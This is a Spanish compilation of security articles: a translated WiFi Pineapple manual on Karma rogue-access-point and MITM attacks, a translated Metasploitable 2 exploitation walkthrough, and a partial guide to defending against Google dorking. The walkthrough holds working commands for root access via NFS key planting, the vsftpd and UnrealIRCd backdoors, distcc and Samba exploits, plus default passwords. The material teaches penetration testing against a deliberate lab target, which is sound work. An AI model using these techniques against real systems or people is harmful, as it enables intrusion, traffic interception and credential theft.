Manual de la Piña WiFi - Parte 2: La Historia de Alicia y Carlos

La Piña WiFi es una versátil herramienta de auditoría inalámbrica que se puede utilizar en varias configuraciones. Este documento sirve como una guía para configurar la Piña WiFi de la forma más común de éstas: como un simple punto de acceso intermediario o MITM (Man-in-the-Middle). La naturaleza de esta configuración se puede ilustrar de la siguiente forma:

Imagínese que usted es Carlos, un pentester de Acme S.A., sentado en la cafetería de Acme S.A. (donde preparan excelentes sándwiches). Los ocupados trabajadores de la oficina están comiendo, socializando y navegando a través de sus laptops, tabletas y smartphones. Alicia está sentada en la mesa frente a usted, tiene una ensalada y está sacando una tablet de su bolso. Ella tiene la intención de conectarse a la red inalámbrica de Acme S.A. y descargar videos de gatitos en su hora de almuerzo. La tablet, al encenderse, transmite Sondas de Peticiones buscando las redes WiFi preferidas.

Como Alicia ya se ha conectado en ocasiones anteriores a la red inalámbrica de Acme S.A. desde su tablet, la tablet recordará el nombre de la red (SSID) y la buscará de forma periódica. Si la red wifi de Acme S.A. está dentro del rango, la tablet va a recibir una Sonda de Respuesta a su Sonda de Petición.

La Sonda de Respuesta proporciona a la tablet de Alicia la información necesaria que requiere para asociarse a la red de Acme S.A. Dado que este proceso ocurre de forma automática para cada red wifi a la que Alicia se conecta con frecuencia, tanto desde su tablet como desde su laptop, ella no se molesta en escoger a la hora de conectarse desde su oficina, desde su casa, desde una cafetería o incluso desde un avión!.

Por otro lado Carlos (ese es usted!), tiene una Piña WiFi Mark IV en su morral. Con Karma habilitado, la Piña WiFi está en constante escucha de las sondas de petición. Cuando la Piña WiFi escucha una sonda de petición para la red de Acme S.A. proveniente de la tablet de Alicia, la Piña WiFi responde con una sonda de respuesta correctamente diseñada. Esto le informa a la tablet de Alicia que la Piña WiFi es en realidad la red inalámbrica de Acme S.A.

Por supuesto, esto es un engaño que la tablet de Alicia va a creer. Esta mentira simple y efectiva es la responsable del nombre clave de la Piña WiFi “Jasager” (“El Hombre Si” en alemán). Se debe entender que cuando la tablet de Alicia transmite la sonda de petición para la red de Acme S.A., tanto la Piña WiFi con Karma habilitado y la red wifi real de Acme S.A., responderán. En esta situación la Piña WiFi de Carlos probablemente ganará la carrera debido a la próximidad. Por otra parte, si Alicia y Carlos se encuentran en una cafetería a kilómetros de las oficinas de Acme S.A., la misma sonda de solicitud podrá esperarse y la Piña WiFi va a ganar definitivamente.

Una vez la tablet de Alicia recibe la sonda de respuesta de Piña WiFi de Carlos, iniciarán el proceso de asociación, y en pocos segundos, la tablet habrá obtenido una dirección IP del servidor DHCP de la Piña WiFi. El servidor DHCP de la Piña WiFi no sólo le ofrece a la tablet de Alicia una dirección IP, sino también la información de servidores DNS y de enrutamiento necesaria para conectarse. Dependiendo de la configuración de la Piña WiFi, la tablet de Alicia va a utilizar una de las dos puertas de enlace predeterminadas para conectarse.

Si Carlos tiene la Piña WiFi atada su computador portátil (con conexión a Internet al mismo tiempo) a través de Ethernet, la puerta de enlace predeterminada que utilizará la tablet de Alicia será 172.16.42.42 (la dirección IP del portátil de Carlos). Carlos puede atar la Piña WiFi a laptop mediante un cable Ethernet utilizando simplemente el script "mk4.sh" en Linux, o permitir la conexión compartida a Internet en Windows 7. Los detalles sobre esto están disponibles en el presente documento.

Si Carlos tiene la Piña WiFi conectada a Internet a través de un Módem USB 3G de banda ancha móvil preconfigurado (una nueva funcionalidad en la Mark IV) la puerta de enlace predeterminada que utilizará la tablet de Alicia será 172.16.42.1 (la dirección IP de la Piña WiFi).

Ahora que la Piña WiFi de Carlos, con acceso a Internet, ha hecho amistad con la tablet de Alicia, ella es libre de navegar por la web y él es libre de espiar e incluso cambiar lo que Alicia ve en la web. Utilizando algunas de las herramientas MITM (Man-In-The-Middle) incluidas, Carlos podrá ver qué sitios web visita Alicia (urlsnarf). Como Carlos es particularmente travieso, el prefiere cambiar los servidores a los que se conecta Alicia cuando esté buscando un sitio web particular (dnsspoof) - sustituyendo así los vídeos de gatitos por unos de cachorritos. Que horror!.

Con módulos adicionales que se ejecutan desde un dispositivo de almacenamiento masivo USB, Carlos es incluso capaz de guardar la sesión de navegación de Alicia en la USB para su posterior análisis (tcpdump), interceptar las comunicaciones seguras (sslstrip), o inyectar código malicioso en los sitios web (ettercap-ng).

Alternativamente, si Carlos no opta por proporcionar acceso a Internet del todo, la puerta de enlace predeterminada será 172.16.42.1 y la Piña WiFi seguirá siendo una herramienta eficaz de auditoría inalámbrica. Habilitando dnsspoof, Carlos podrá redirigir la sesión de navegación de Alicia en sitios web legítimos al servidor web incorporado en Piña WiFi, el cual puede albergar un número de sitios de phishing o malware.

Como Carlos no puede permanecer en la cafetería de Acme S.A. todo el día (no importa lo deliciosos que sean los sándwiches), podría considerar la posibilidad de dejar su Piña Wi-Fi en el hotel. La Piña WiFi se puede ocultar dentro de una caja con paquete de baterías o incluso puede ocultarse a simple vista utilizando la infraestructura del edificio (caja de telefonía, circuitos eléctricos, etc.). Se pueden revisar el foro de la Piña WiFi para buscar inspiración en creativas opciones de almacenamiento, tales como enchufes eléctricos magnéticos, plantas de energía, o cajas de mantenimiento de servicios públicos.

En este caso Carlos podrá administrar de manera remota la Piña WiFi. Si no está proporcionando acceso a Internet, Carlos tendrá que estar dentro del alcance de la red inalámbrica de la Piña WiFi con el fin de conectarse a la administración a traves del SSID "pinneapple" (configurable). Si se proporciona el acceso a Internet, Carlos puede configurar un túnel SSH persistente. Configuración y ayuda sobre esto se encuentra disponible desde la interfaz web de la Piña WiFi.

Con un túnel SSH o VPN habilitado, el tráfico de Internet de los clientes conectados a la Piña WiFi se enruta a través del túnel de punto final - por lo general un servidor privado virtual (VPS). Desde este VPS, Carlos también podrá extender el ataque MITM con herramientas adicionales.

• Parte 1: Introducción
• Parte 2: La Historia de Alicia y Carlos
• Parte 3: Conectividad
• Parte 4: Alimentación de Energía
• Parte 5: Conectándose por Primera Vez
• Parte 6: Estado y Configuración Avanzada

Manual de la Piña WiFi - Parte 1: Introducción

Inicio una serie de artículos en los que estaré publicando por partes el manual en español de la Piña Wifi. Este manual está basado en el libro publicado por Darren Kitchen en los foros de Hak5 pocas semanas atrás.

Esperamos tener pronto una versión oficial del manual en idioma español basada en esta traducción para entregar sin costo a quien adquiera la Piña WiFi en los paises de habla hispana. Espero que les sea de utilidad.

Piña WiFi

El HoneyPot Hot-Spot

Introducción

Un año después del debut del proyecto de código abierto Jasager con Robin Wood (alias Digininja) en el programa Hak5, y después de muchas negativas a solicitudes de adquirir unidades prefabricadas, Darren Kitchen renunció a construir mas Piñas WiFi a la medida.

Cada Mark I, que se adecuaba dentro de una piña de plástico con una batería soldada por Shannon Morse (alias Snubs), era enviada a la oficina de correos, dos al mismo tiempo, en la parte trasera de la motocicleta de Darren.

Hoy en día, con el continuo desarrollo de Robin Wood, Sebastian Kinne, Hak5 y la apasionada comunidad Jasager, la Piña WiFi Mark IV ha evolucionado para convertirse en la herramienta de penetración inalámbrica más avanzada de su tipo. 

Esperamos que este manual le sea útil y le damos la bienvenida a unirse a la comunidad en WiFiPineapple.com. 

Advertencia

La Piña WiFi es una herramienta de análisis de redes inalámbricas para ser utilizada en auditorías de seguridad donde esto se permita. Revise las regulaciones y obtenga permiso del cliente antes de utilizarla. Hak5, LLC., Darren Kitchen, Robin Wood, Rob Fuller, Sebastian Kinne y asociados no se hacen responsables por el uso no autorizado. Por favor hackee responsablemente. 

Resumen de Características

• Punto de Acceso Man-In-The-Middle sigiloso
• Modems de Banda Ancha Móvil y Anclaje con Android (tethering)
• Administración remota con túneles SSH persistentes
• Ataques de Relay o Deautenticación con radio auxiliar WiFi
• Administración web que simplifica los ataques MITM
• Se oculta fácilmente y funciona con baterías
• Expandible mediante módulos desarrollados por la comunidad

El Corazón de la Piña

La mayoría de los dispositivos inalámbricos incluyendo laptops, tablets y smartphones tienen aplicaciones de red que se conectan automáticamente a los puntos de acceso que recuerdan. Esta conveniente funcionalidad es lo que nos conecta sin esforzarnos mucho cuando encendemos nuestro computador en la casa, en la oficina, en un aeropuerto o en cualquier otro sitio con acceso wifi público. De manera muy simple, cuando encendemos la computadora, la señal inalámbrica de radio envía sondas de solicitudes. Estas solicitudes dicen "¿Se encuentra tal y tal red inalámbrica por aquí?" La Piña WiFi Mark IV, potenciada por Jasager, responde a estas solicitudes diciendo "Si, Yo soy tal y tal red wifi, ven y conéctate!".

 

Conociendo la Piña WiFi

 

 

Hardware

• Procesador Atheros AR9331 SoC de 400 MHz
• Adaptador WiFi 802.11 b/g/n de 150 Mbps
• 2 puertos Ethernet. 1 con capacidad PoE (Power over Ethernet)
• USB 2.0 para almacenamiento extendido, interfaces WiFi o Banda Ancha Móvil
• Velóz firmware Jasager basado en kernel Linux 3.2 (construido sobre OpenWRT)

Generalidades de la Interfaz Web

La Piña WiFi es una versátil plataforma de ataques para redes wifi desarrollada específicamente por y para pentesters. Con énfasis en la facilidad de uso y bajo costo de implementación, la Piña WiFi es capaz de auditar varios dispositivos wireless 802.11 tales como computadoras portátiles, tablets y smartphones. Desarrollada sobre la última distribución Linux OpenWRT y específicamente diseñada para uso óptimo de hardware embebido, la Piña WiFi proporciona una rápida y efectiva plataforma para auditorías de seguridad en redes inalámbricas.

Karma 

En su núcleo, la Piña WiFi es capaz de buscar dispositivos inalámbricos cercanos, u “objetivos”, haciéndose pasar como cualquier punto de acceso wireless abierto. Para este fin, la Piña WiFi utiliza un driver wireless altamente personalizado que implementa un ataque “Karma”, escuchando y respondiendo sondas de peticiones 802.11 con respuestas de suplantación.

Módulos

Una vez un objetivo ha sido adquirido por la Piña WiFi, una gran cantidad de herramientas populares Man-in-the-Middle de código abierto ya incluidas pueden ser utilizadas para propósitos de monitoreo. Adicionalmente a las herramientas incluidas, la Piña WiFi pude extender sus funcionalidades con varios módulos desarrollados por la comunidad. Los módulos, instalados desde la interfaz web, ofrecen muchas mejoras tales como ataques de de-autenticación, listado de redes disponibles, monitoreo y registro de eventos.

Administración 

La simplicidad es la clave al usar la Piña WiFi, como tal, la interfaz web ha sido modelada para routers inalámbricos comerciales con un poco del encanto de los BBS de hackers de la vieja escuela para un mejor rendimiento. Aunque la mayoría de las funcionalidades pueden ejecutarse desde una shell a través de SSH, la interfaz web proporciona la activación o desactivación de servicios, generación de reportes, registro y monitoreo de eventos, directamente desde su navegador web.

• Parte 1: Introducción
• Parte 2: La Historia de Alicia y Carlos
• Parte 3: Conectividad
• Parte 4: Alimentación de Energía
• Parte 5: Conectándose por Primera Vez
• Parte 6: Estado y Configuración Avanzada

Guía de Explotabilidad de Metasploitable 2

Metasploitable 2

La máquina virtual Metasploitable es una versión de Ubuntu Linux intencionalmente vulnerable diseñada para probar herramientas de seguridad y demostrar vulnerabilidades comunes. La versión 2 de esta máquina virtual se encuentra disponible para la descarga desde Sourceforge.net y contiene aún muchas más vulnerabilidades que la imágen original. Esta máquina virtual es compatible con VMWare, VirtualBox, y otras plataformas de virtualización comunes. De manera predeterminada, las interfaces de red de Metasploitable se encuentran atadas a los adaptadores de red NAT y Host-only, y la imagen no debe exponerse a una red hostíl. Este artículo describe muchas de las fallas de seguridad en la imagen de Metasploitable 2. En la actualidad hace falta documentación sobre el servidor web y las fallas de aplicaciones web, así como las vulnerabilidades que permiten a un usuario local escalar a privilegios de root.

Este documento se seguirá ampliando con el tiempo a medida que muchos de los defectos menos evidentes en esta plataforma se vayan encontrando.

Primeros Pasos

Después de arrancar la máquina virtual, inicie sesión en la consola con el usuario msfadmin y contraseña msfadmin. Desde la shell, ejecute el comando ifconfig para identificar la dirección IP. 

msfadmin@metasploitable:~$ ifconfig
 
eth0      Link encap:Ethernet  HWaddr 00:0c:29:9a:52:c1 
          inet addr:192.168.99.131  Bcast:192.168.99.255  Mask:255.255.255.0
          inet6 addr: fe80::20c:29ff:fe9a:52c1/64 Scope:Link
          UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1

Servicios

Desde nuestro sistema de ataque (Linux, preferiblemente algo como Backtrack), identificaremos los servicios de red abiertos en esta máquina virtual utilizando el Scanner de Seguridad Nmap. La siguiente línea de comando analizará todos los puertos TCP en la instancia de Metasploitable 2:

root@ubuntu:~# nmap -p0-65535 192.168.99.131
Starting Nmap 5.61TEST4 ( http://nmap.org ) at 2012-05-31 21:14 PDT
Nmap scan report for 192.168.99.131
Host is up (0.00028s latency).
Not shown: 65506 closed ports
PORT      STATE SERVICE
21/tcp    open  ftp
22/tcp    open  ssh
23/tcp    open  telnet
25/tcp    open  smtp
53/tcp    open  domain
80/tcp    open  http
111/tcp   open  rpcbind
139/tcp   open  netbios-ssn
445/tcp   open  microsoft-ds
512/tcp   open  exec
513/tcp   open  login
514/tcp   open  shell
1099/tcp  open  rmiregistry
1524/tcp  open  ingreslock
2049/tcp  open  nfs
2121/tcp  open  ccproxy-ftp
3306/tcp  open  mysql
3632/tcp  open  distccd
5432/tcp  open  postgresql
5900/tcp  open  vnc
6000/tcp  open  X11
6667/tcp  open  irc
6697/tcp  open  unknown
8009/tcp  open  ajp13
8180/tcp  open  unknown
8787/tcp  open  unknown
39292/tcp open  unknown
43729/tcp open  unknown
44813/tcp open  unknown
55852/tcp open  unknown
MAC Address: 00:0C:29:9A:52:C1 (VMware)

Casi todos estos servicios en escucha proporcionan un punto de entrada remoto en el sistema. En la siguiente sección, caminaremos a través de algunos de estos vectores.

Servicios: Báses de Unix

Los puertos TCP 512, 513, y 514 son conocidos como los servicios "r", y han sido configurados erróneamente para permitir acceso remoto desde cualquier máquina (una situación típica ".rhosts + +"). Para tomar ventaja de esto, nos aseguraremos de que el cliente rsh-client se encuentre instalado (en Ubuntu), y ejecutamos el siguiente comando como usuario root local. Si se nos solicita una llave SSH, esto significa que las herramientas rsh-client no han sido instaladas y Ubuntu está predeterminando a utilizar SSH.

# rlogin -l root 192.168.99.131
Last login: Fri Jun  1 00:10:39 EDT 2012 from :0.0 on pts/0
Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686
root@metasploitable:~#

Esto se pone tan bueno como se vé. El próximo servicio que debe tener en cuenta es el sistema de archivos de red (NFS). NFS puede ser identificado sondeando el puerto 2049 directamente o pidiendo a portmapper obtener una lista de servicios. El siguiente ejemplo usando rpcinfo para identificar NFS y showmount -e para determinar que el recurso compartido "/" (la raíz del sistema de archivos) estará siendo exportado. Necesitaremos los paquetes de Ubuntu rpcbind y nfs-common para seguir adelante. 

root@ubuntu:~# rpcinfo -p 192.168.99.131
   program vers proto   port  service
    100000    2   tcp    111  portmapper
    100000    2   udp    111  portmapper
    100024    1   udp  53318  status
    100024    1   tcp  43729  status
    100003    2   udp   2049  nfs
    100003    3   udp   2049  nfs
    100003    4   udp   2049  nfs
    100021    1   udp  46696  nlockmgr
    100021    3   udp  46696  nlockmgr
    100021    4   udp  46696  nlockmgr
    100003    2   tcp   2049  nfs
    100003    3   tcp   2049  nfs
    100003    4   tcp   2049  nfs
    100021    1   tcp  55852  nlockmgr
    100021    3   tcp  55852  nlockmgr
    100021    4   tcp  55852  nlockmgr
    100005    1   udp  34887  mountd
    100005    1   tcp  39292  mountd
    100005    2   udp  34887  mountd
    100005    2   tcp  39292  mountd
    100005    3   udp  34887  mountd
    100005    3   tcp  39292  mountd

root@ubuntu:~# showmount -e 192.168.99.131
Export list for 192.168.99.131:
/ *

Obtener acceso a un sistema con un sistema de archivos modificable como este es algo trivial. Para que sea así (y porque SSH está ejecutándose), generaremos una nueva llave SSH en nuestro sistema atacante, montamos el export NFS y agregamos nuestra llave al archivo authorized_keys de la cuenta de usuario root:

root@ubuntu:~# ssh-keygen
Generating public/private rsa key pair.
Enter file in which to save the key (/root/.ssh/id_rsa):
Enter passphrase (empty for no passphrase):
Enter same passphrase again:
Your identification has been saved in /root/.ssh/id_rsa.
Your public key has been saved in /root/.ssh/id_rsa.pub.

root@ubuntu:~# mkdir /tmp/r00t
root@ubuntu:~# mount -t nfs 192.168.99.131:/ /tmp/r00t/
root@ubuntu:~# cat ~/.ssh/id_rsa.pub >> /tmp/r00t/root/.ssh/authorized_keys
root@ubuntu:~# umount /tmp/r00t

root@ubuntu:~# ssh root@192.168.99.131
Last login: Fri Jun  1 00:29:33 2012 from 192.168.99.128
Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686

root@metasploitable:~#

Servicios: Backdoors

En el puerto 21, Metasploitable 2 ejecuta vsftpd, un servidor FTP popular. Esta versión en particular contiene una puerta trasera (backdoor) que fue introducida en el código fuente por un intruso desconocido. El backdoor fue rápidamente identificado y eliminado, pero no antes de que unas cuantas personas ya lo hubieran descargado. Si un nombre de usuario es enviado terminando con la secuencia " :) " (carita felíz), la versión con el backdoor abrirá una shell en escucha en el puerto 6200. Podemos demostrar esto con telnet o utilizando un módulo de Metasploit Framework para explotarlo automáticamente:

root@ubuntu:~# telnet 192.168.99.131 21
Trying 192.168.99.131...
Connected to 192.168.99.131.
Escape character is '^]'.
220 (vsFTPd 2.3.4)
user backdoored:)
331 Please specify the password.
pass invalid
^]
telnet> quit
Connection closed.

root@ubuntu:~# telnet 192.168.99.131 6200
Trying 192.168.99.131...
Connected to 192.168.99.131.
Escape character is '^]'.
id;
uid=0(root) gid=0(root)

En el puerto 6667, Metasploitable 2 corre el demonio IRC UnreaIRCD. Esta versión contiene un backdoor que pasó desapercibido por meses, - disparado al enviar las letras "AB" seguidas de un comando del sistema al servidor en cualquier puerto en escucha. Metasploit tiene un módulo para explotar esto con el fin de obtener una shell interactiva, como se muestra a continuación.

msfconsole
msf > use exploit/unix/irc/unreal_ircd_3281_backdoor
msf  exploit(unreal_ircd_3281_backdoor) > set RHOST 192.168.99.131
msf  exploit(unreal_ircd_3281_backdoor) > exploit
[*] Started reverse double handler
[*] Connected to 192.168.99.131:6667...
    :irc.Metasploitable.LAN NOTICE AUTH :*** Looking up your hostname...
    :irc.Metasploitable.LAN NOTICE AUTH :*** Couldn't resolve your hostname; using your IP address instead
[*] Sending backdoor command...
[*] Accepted the first client connection...
[*] Accepted the second client connection...
[*] Command: echo 8bMUYsfmGvOLHBxe;
[*] Writing to socket A
[*] Writing to socket B
[*] Reading from sockets...
[*] Reading from socket B
[*] B: "8bMUYsfmGvOLHBxe\r\n"
[*] Matching...
[*] A is input...
[*] Command shell session 1 opened (192.168.99.128:4444 -> 192.168.99.131:60257) at 2012-05-31 21:53:59 -0700

id
uid=0(root) gid=0(root)

Mucho menos sutíl es el viejo backdoor remanente "ingreslock" que escucha en el puerto 1524. El puerto ingreslock era una opción popular hace una década para agregar una puerta trasera a un servidor comprometido. Accederlo es fácil:

root@ubuntu:~# telnet 192.168.99.131 1524
Trying 192.168.99.131...
Connected to 192.168.99.131.
Escape character is '^]'.
root@metasploitable:/# id
uid=0(root) gid=0(root) groups=0(root)

Servicios: Backdoors No-Intencionales

Además de las puertas traseras maliciosas de la sección anterior, algunos servicios son casi puertas traseras por su propia naturaleza. El primero de estos que está instalado en Metasploitable 2 es distccd. Este programa hace que sea fácil escalar grandes tareas de compilación a través de una granja de sistemas que aparentan estar configurados para tal fin. El problema con este servicio es que un atacante puede abusar de este para ejecutar un comando a su elección, como lo demuestra el uso del módulo de Metasploit a continuación.

msfconsole
msf > use exploit/unix/misc/distcc_exec
msf  exploit(distcc_exec) > set RHOST 192.168.99.131
msf  exploit(distcc_exec) > exploit

[*] Started reverse double handler
[*] Accepted the first client connection...
[*] Accepted the second client connection...
[*] Command: echo uk3UdiwLUq0LX3Bi;
[*] Writing to socket A
[*] Writing to socket B
[*] Reading from sockets...
[*] Reading from socket B
[*] B: "uk3UdiwLUq0LX3Bi\r\n"
[*] Matching...
[*] A is input...
[*] Command shell session 1 opened (192.168.99.128:4444 -> 192.168.99.131:38897) at 2012-05-31 22:06:03 -0700

id
uid=1(daemon) gid=1(daemon) groups=1(daemon)

Samba, cuando se configura con un recurso de archivos compartidos y enlaces extensos (wide links) habilitados (los cuales vienen activados por defecto), puede utilizarse tambien como un tipo de puerta trasera para acceder archivos que no estaban destinados a ser compartidos. El siguiente ejemplo utiliza un módulo de Metasploit para proporcionar acceso al sistema de archivos raíz utilizando una conexión anónima y un recurso compartido con acceso de escritura.

root@ubuntu:~# smbclient -L //192.168.99.131
Anonymous login successful
Domain=[WORKGROUP] OS=[Unix] Server=[Samba 3.0.20-Debian]
        Sharename       Type      Comment
        ---------       ----      -------
        print$          Disk      Printer Drivers
        tmp             Disk      oh noes!
        opt             Disk     
        IPC$            IPC       IPC Service (metasploitable server (Samba 3.0.20-Debian))
        ADMIN$          IPC       IPC Service (metasploitable server (Samba 3.0.20-Debian))

root@ubuntu:~# msfconsole
msf > use auxiliary/admin/smb/samba_symlink_traversal
msf  auxiliary(samba_symlink_traversal) > set RHOST 192.168.99.131
msf  auxiliary(samba_symlink_traversal) > set SMBSHARE tmp
msf  auxiliary(samba_symlink_traversal) > exploit

[*] Connecting to the server...
[*] Trying to mount writeable share 'tmp'...
[*] Trying to link 'rootfs' to the root filesystem...
[*] Now access the following share to browse the root filesystem:
[*]     \\192.168.99.131\tmp\rootfs\

msf  auxiliary(samba_symlink_traversal) > exit

root@ubuntu:~# smbclient //192.168.99.131/tmp
Anonymous login successful
Domain=[WORKGROUP] OS=[Unix] Server=[Samba 3.0.20-Debian]
smb: \> cd rootfs
smb: \rootfs\> cd etc
smb: \rootfs\etc\> more passwd
getting file \rootfs\etc\passwd of size 1624 as /tmp/smbmore.ufiyQf (317.2 KiloBytes/sec) (average 317.2 KiloBytes/sec)
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/bin/sh
bin:x:2:2:bin:/bin:/bin/sh
[..]

Contraseñas Débiles

Adicionalmente a las más flagrantes puertas traseras y errores de configuración, Metasploitable 2 tiene terrible seguridad de contraseña tanto para la cuenta del sistema como para la cuenta del servidor de base de datos. El usuario principal de administración msfadmin tiene una contraseña que coincide con el nombre de usuario. Al descubrir la lista de los usuarios en este sistema, ya sea mediante el uso de otro defecto para capturar el archivo passwd, o mediante la enumeración de estos identificadores de usuario a través de Samba, un ataque de fuerza bruta puede ser utilizado para acceder rápidamente a varias cuentas de usuario. Como mínimo, las siguientes cuentas débiles del sistema están configuradas en el sistema.

Nombre Cuenta	Contraseña
msfadmin	msfadmin
user	user
postgres	postgres
sys	batman
klog	123456789
service	service

Adicional a estas cuentas a nivel de sistema, el servicio de PostgreSQL puede ser accedido con el nombre de usuario postgres y contraseña postgres, mientras que el servicio de MySQL está abierto con el nombre de usuario root y con una contraseña en blanco. El servicio de VNC proporciona el acceso de escritorio remoto a través de la contraseña password.

Crossposted from Metasploitable 2 Exploitability Guide

Cómo defendernos de los Google Hackers

Antes de ver como podemos prevenir ser víctimas de los Google hackers, veamos que es Google Hacking. 

Google Hacking: 

Google hacking es una técnica de hacking que utiliza Google Search y otras aplicaciones de Google para encontrar brechas de seguridad en la configuración y en el código que utilizan los sitios web. –Wikipedia. 

Google es un motor de búsqueda muy potente y es capaz de hacer muchas cosas que son muy útiles para un hacker. Utilizando simples dorks de Google, es posible hackear un sitio web y muchos desarrolladores web no logran protegerse a sí mismos o a la información de sus clientes de tales ataques. Por ejemplo, usando Google dorks, el atacante puede extraer información diversa, tal como detalles de configuración de una base de datos, nombres de usuario, contraseñas, listados de directorios, mensajes de error, etc. Por ejemplo: 

intitle:index.of.config 

Estos directorios pueden dar información sobre la configuración de un servidor web. Esta información no está destinada a ser pública ya que contiene archivos con contraseñas dependiendo del nivel de seguridad. También puede contener información sobre los distintos puertos y permisos de seguridad.

La razón principal de estas fugas de información es una política de seguridad inadecuada en relación con la información que se publica en Internet. Existen unos pocos métodos con los cuales podemos proteger nuestro servidor web.

Un servidor web de acceso público se utiliza por lo regular para almacenar información a la que se accede públicamente desde internet y si en realidad nos encontramos preocupados por mantener la información de manera privada, entonces la forma más fácil y adecuada es mantenerla lejos de este tipo de servidores. A pesar de que tales archivos o documentos se puedan mantener aislados, es fácil tener acceso a dichas páginas. Todos conocemos los riesgos asociados con el hecho de que se muestren los listados directorios, los cuales pueden permitir a un usuario ver la mayoría de los archivos almacenados en el directorio raíz principal y sus subdirectorios, etc. Algunas veces, incluso el archivo .htaccess se muestra en el listado, este archivo es utilizado para proteger los contenidos de contenido del directorio del acceso no autorizado, pero una simple mala configuración puede permitir que este archivo se muestre en la lista y se pueda también conocer su contenido. Esto también es debido a que muchos administradores tienen la costumbre de cargar información importante en sus servidores para permitir el acceso desde cualquier lugar y que luego dichos contenidos son indexados por los rastreadores de los buscadores web. Una de las reglas simples puede ser que los administradores de los sitios web agreguen un archivo robots.txt que define lugares específicos del directorio principal, de forma tal que el motor de búsqueda no lo explore y no lo almacene en su caché. Para protegernos de los buscadores, podemos utilizar el archivo robots.txt para evitar la indexación de tales documentos o directorios.

Ejemplo: User-agent: *Disallow: /documentos

También, para bloquear páginas web específicas o si no queremos que una página en particular sea indexada por algún motor de búsqueda, podemos utilizar algo como el meta tag "meta name=’spider_name’ content=’NOarchive’"

Ejemplos de Robots.txt

El siguiente ejemplo permite a todos los robots visitar todos los archivos:

User-agent: * 

Disallow: 

Esta entrada mantendrá alejados los robots de todos los directorios:

User-agent: * 

Disallow: / 

Podemos especificar directorios particulares que no queremos que sean indexados. El siguiente ejemplo mantendrá alejados los robots del directorio /infosec/ y sus subdirectorios:

User-agent: * 

Disallow: /infosec/ 

Al no incluir el / final, también podemos evitar que las arañas (web spiders) hagan rastreo de los archivos contenidos en dicho directorio.


El siguiente ejemplo evitará que los robots de Google (googlebots) rastreen cualquier cosa en nuestro sitio, pero permite que otros robots accedan a todo el sitio:

User-agent: googlebot 

Disallow: / 

La siguiente meta-etiqueta (meta tag) evitará que todos los robots puedan rastrear cualquier enlace en nuestro sitio:

<META NAME="ROBOTS" CONTENT="NOINDEX, NOFOLLOW">


También podemos denegar o permitir que ciertas arañas puedan utilizar esta etiqueta:

Ejemplo: <META NAME="GOOGLEBOT" CONTENT="NOINDEX, NOFOLLOW">


Para obtener mayor información, podemos visitar: http://www.robotstxt.org/wc/exclusion.html#meta.

El dork de Google para verificar la existencia del archivo .htaccess es intitle:index of “.htaccess”. 

Esto mostrará los sitios web que tienen el archivo .htaccess en un listado de directorios. 

El listado de directorios debería ser deshabilitado a menos que este sea requerido. El listado de directorios también ocurre cuando el archivo principal del sitio web (index.html, index.php, etc.) definido en el servidor web, se encuentra ausente. En servidores web apache, podemos deshabilitar los listados de directorios utilizando un guión o un símbolo menos (-) antes de la palabra Indexes en al archivo httpd.config.

Verifiquemos nuestros sitios: 

Este artículo intenta mostrar como podemos verificar nuestro propio sitio web con el fin de tener una idea de los posibles riesgos de seguridad y prevenirlos mediante pruebas manuales y automatizadas. Muchos desarrolladores web no conocen de hacking web o de otras técnicas de pruebas de penetración como si lo sabe un pentester. En este tema cubriremos como prevenir que nuestro sitio web sea víctima del Google hacking. Podremos observar nuestro sitio desde la perspectiva de Google. 

Iniciando con un método manual, el dork de Google más común y simple es la palabra clave site. Esta palabra se puede utilizar si queremos limitar los resultados de búsqueda de un dominio o servidor específico. Por ejemplo site:amazon.com puede listar todas las páginas del dominio amazon.com almacenadas en el caché de Google. 

Ahora podemos hacer click y abrir todos los enlaces listados y verificar si la información mostrada es supuestamente pública o no, pero parece que esto nos puede tomar bastante tiempo si los resultados de la búsqueda contienen cientos o miles de enlaces. Entonces, de acuerdo a este escenario, podemos optar por unas pruebas automatizadas.

 

Las herramientas que veremos son:

• Gooscan
• Sitedigger
• Wikto

Gooscan: 

Gooscan es una herramienta basada en Linux y puede utilizarse para realizar búsquedas por volumen en Google. Esta herramienta viola los Términos de Servicio de Google (Google TOS) ya que no utiliza la API de Google. Y si utilizamos una herramienta tal que viole Google TOS, entonces podemos esperar que obtengamos algunas direcciones IP bloqueadas.

Opciones de Gooscan:

Hay una lista de opciones disponibles en esta herramienta para obtener varios resultados. Hay dos parámetros requeridos que tienen que pasarse para realizar el análisis y otros opcionales.

Los parámetros requeridos son:

• -t target: Este es utilizado para analizar un sitio objetivo. Un objetivo puede ser un nombre de máquina o una dirección IP. 

•  -q query | -I query_file: Este parámetro se utiliza para realizar una búsqueda esperando obtener un resultado específico. El parámetro –q toma solo un parámetro simple o en otras palabras, un dork de Google simple. Por ejemplo: -q intitle:index of ".htaccess" 

La herramienta también puede tomar múltiples búsquedas que pueden ser leidas de un archivo de texto simple.

Los parámetros opcionales son:

• -o output_file: Si deseamos crear un archivo .html de resultados. Este contendrá todos los enlaces que fueron obtenidos como resultado de la búsqueda.

• -p proxy:port: Para utilizar un servidor proxy de html.

• -v: Modo detallado (Verbose mode). 

• -s site: Como lo vimos anteriormente, puede utilizarse para obtener los resultados de un sitio o dominio específico. 

Utilizando Gooscan:

Gooscan puede utilizarse de dos formas, enviando una consulta simple o enviando múltiples consultas. Un simple ejemplo puede ser:

Gooscan –q "hack" –t www.google.com –s amazon.com

Para crear un archivo html con los resultados obtenidos

Gooscan –q "hack" –t www.google.com –o amazon.html

Realizar una búsqueda con múltiples consultas utilizando Gooscan puede causar problemas. Con el fin de evitar esto, podemos enviar pequeños lotes de consultas en lugar de enviar una grán cantidad de archivos. 

Para crear un pequeño archivo de datos, utilizamos el comando head.

Head -5 data_files.gdork.gs > data_files/small_dorks.gs

Gooscan –t www.google.com –i data_files/small_dorks.gs –o multiplequeries.html 

Una vez se haya creado el archivo de resultados, hacemos click en los enlaces que veamos sospechosos.

SiteDigger: 

